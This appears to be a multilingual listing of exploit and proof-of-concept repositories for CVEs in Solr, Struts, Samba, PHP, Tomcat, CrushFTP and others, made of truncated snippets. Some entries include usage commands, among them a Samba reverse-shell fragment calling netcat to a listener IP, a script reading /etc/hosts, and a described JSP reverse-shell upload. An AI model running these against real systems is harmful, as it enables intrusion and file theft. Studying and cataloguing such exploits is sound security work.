CVE-2026-22444

CVE-2026-22444 Уязвимость проверки UNC-путей в Apache Solr Обзор CVE-2026-22444 — это уязвимость безопасности, затрагивающая Apache Solr, публично раскрытая примерно 20 января 2026 года. Уязвимость вызвана недостаточной проверкой входных данных CWE-20: Improper Input Validation в API "create core...

CVE-2014-0094

CVE-2014-0094 Pour vérification. En référence à https://piyolog.hatenadiary.jp/entry/20140417/1397750197, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 Reproduction effectuée. Le classLoader fonctionne, mais le log crucial se retrouve encodé en pourcentage, donc cela ne mène pas à la RCE Versio...

CVE-2017-3241-POC

CVE-2017-3241-POC Java RMI deserialization भेद्यता के लिए POC इस poc को चलाने के लिए आपको संभवतः JDK 8 का उपयोग करना होगा। क्लाइंट और सर्वर दोनों ओर Message class पर ध्यान दें। वे अलग हैं। और यही अंतर इस भेद्यता को समझने की कुंजी है। Oracle ने जो फिक्स जारी किया है, वह है डेवलपर को java security...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564, Pluck CMS v4.7.18 में एक RCE कमजोरी है। यह /inc/modulesinstall.php कंपोनेंट में एक मनमानी फ़ाइल अपलोड कमजोरी के माध्यम से संभव है, जो एक दुर्भावनापूर्ण .zip फ़ाइल अपलोड करके मनमाना कोड निष्पादित करने की अनुमति देती है। उपयोग एक्सप्लॉइट चलाने से पहले, /login.php पर...

CVE-2022-31793

CVE-2022-31793 -u IP निर्दिष्ट करें -l IP फ़ाइल निर्दिष्ट करें -v सत्यापन मोड -f पढ़ने के लिए फ़ाइल निर्दिष्ट करें python poc.py -u ip -v python poc.py -l url.txt -v python poc.py -u ip -f /etc/hosts python poc.py -l url.txt -f /etc/hosts...

DVWA-ZAP-PENTEST

DVWA भेद्यता आकलन OWASP ZAP का उपयोग करके DVWA Damn Vulnerable Web App का एक व्यावहारिक वेब अनुप्रयोग सुरक्षा आकलन, जो OWASP ZAP Zed Attack Proxy 2.17.0 का उपयोग करके किया गया है। यह परियोजना पूर्ण कार्यप्रवाह का दस्तावेजीकरण करती है: टोही स्पाइडरिंग, स्वचालित भेद्यता स्कैनिंग, और उठाए गए अलर्ट क...

CVE-2026-14669

CVE-2026-14669 - تجاوز سعة المخزن المؤقت في الكومة لاختصار المنطقة الزمنية في دالة tochar في PostgreSQL توجد ثغرة تجاوز سعة المخزن المؤقت في الكومة Heap Buffer Overflow في دالة tochar الخاصة بـ PostgreSQL عند معالجة تنسيق المنطقة الزمنية. يمكن للمهاجم، عبر تعيين اختصار منطقة زمنية طويلة جدًا بصيغ...

CVE-2021-1675-PrintNightmare-Analysis

بحث الثغرات: رفع الصلاحيات المحلي وتنفيذ الأوامر عن بُعد عبر Windows Print Spooler PrintNightmare / CVE-2021-1675 يحتوي المستودع على تقرير فني مفصل Write-up وتحليل لمفهوم استغلال ثغرة حرجة في خدمة مدير الطباعة في Windows Print Spooler، تتيح لمستخدم مجال منخفض الصلاحيات تنفيذ تعليمات برمجية عشوائي...

WSUSResponder

🧰 WSUSResponder الإصدار: 1.0.1 المؤلف: RZA / عمليات تقنية المعلومات الترخيص:MIT 🎯 الهدف توفر وحدة WSUSResponder مجموعة من أدوات PowerShell للاستجابة السريعة للثغرة الحرجة CVE-2025-59287 ، وهي ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على Windows Server Update Services WSUS. تتيح الوحدة ما يل...

CVE-2025-62593-PoC

CVE-2025-62593 — تنفيذ برمجي عن بُعد في Ray بدون مصادقة إثبات مفهوم لثغرة CVE-2025-62593 ، وهي ثغرة تنفيذ برمجي عن بُعد بدون مصادقة في محرك الحوسبة الموزعة للذكاء الاصطناعي Ray، يتم استغلالها عبر هجمات إعادة ربط DNS المستندة إلى المتصفح. وقد أُضيفت الثغرة إلى فهرس CISA للثغرات المستغلة المعروفة K...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 هي ثغرة قراءة ملفات عشوائية بدون مصادقة، ولا يمكن اعتبارها أقل من ثغرة تنفيذ أوامر عن بُعد RCE كاملة بدون مصادقة. يمكن للمهاجم قراءة أي ملفات حساسة موجودة على الجهاز المتأثر بصلاحيات superuser. يمكن للمهاجم استرجاع محتويات ملف ntds.dit أ...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP هو خادم نقل ملفات خاص متعدد البروتوكولات ومتعدد المنصات. CVE-2024-4040 - ثغرة حقن القوالب من جانب الخادم في CrushFTP بجميع الإصدارات قبل 10.7.1 و11.1.0 على جميع المنصات تسمح للمهاجمين عن بُعد غير المصادَق عليهم بقراءة أي ملفات من نظام الملفات خارج VFS...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz هو نظام مفتوح المصدر لتخطيط موارد المؤسسات. يوفر مجموعة من تطبيقات المؤسسات التي تدمج وتؤتمت العديد من العمليات التجارية للمؤسسة. CVE-2024-38856 هو ثغرة قبل المصادقة في Apache OFBiz يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. الإصدارات المتأثرة :...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow هي منصة للتحول في الأعمال تساعد الشركات على إدارة سير العمل الرقمية لعمليات المؤسسات. CVE-2024-4879 قد تسمح لمستخدم غير مصادق بتنفيذ تعليمات برمجية عن بُعد داخل منصة Now. تستغل هذه الثغرة ثلاث مشكلات عبر ربطها معًا: حقن العنوان، وتجاوز تخفيف حقن القوالب، وتجاوز...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 أداة استغلال رسومية لثغرة الكتابة العشوائية للملفات عبر طريقة PUT في Tomcat CVE-2017-12615 مقدمة عن الثغرة في 19 سبتمبر 2017، أكد فريق Apache Tomcat رسميًا وأصلح ثغرتين عاليتي الخطورة، بأرقام CVE: CVE-2017-12615 وCVE-2017-12616، ومن بينهما ثغرة تنفيذ التعليمات البرمجية عن بُعد...

CVE-2017-9791

CVE-2017-9791 وحدة Metasploit لثغرة Apache Struts CVE-2017-9791 لتنفيذ الأكواد عن بُعد...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Ce dépôt contient mon code d'exploitation pour la vulnérabilité RCE dans Adobe ColdFusion 2018. Description de l'exploit L'exploit envoie une requête POST contenant un reverse shell JSP vers /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f उपयोग root@kitploit: लक्ष्य 10.129.232.46 को पोर्ट 445 पर एक्सप्लॉइट करें, 10.10.14.82 को पोर्ट 443 पर रिवर्स शेल वापस भेजें python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 कस्टम rport और lport के साथ python3...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE परियोजना परिचय और सिद्धांत दुनिया का पहला PHP डिफ़ॉल्ट वातावरण XAMPP का उपयोग करने वाला CVE-2024-4577 PHP-CGI RCE शोषण EXP. दुनिया का पहला CVE-2024-4577 PHP-CGI RCE शोषण जो डिफ़ॉल्ट PHP वातावरण का उपयोग करता है. मूल शोषण साझा करना, SSRF का समर्थन करता है, WAF बाईपास का समर्थ...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 स्थापना root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce उपयोग यह उपकरण pocsuite3 फ्रेमवर्क के विकास विनिर्देशों के अनुसार लिखा गया एक poc है। उपयोग करने से पहले कृपया pocsuite3 डाउनलोड करें। प्रोजेक्ट पता root@kitploit:...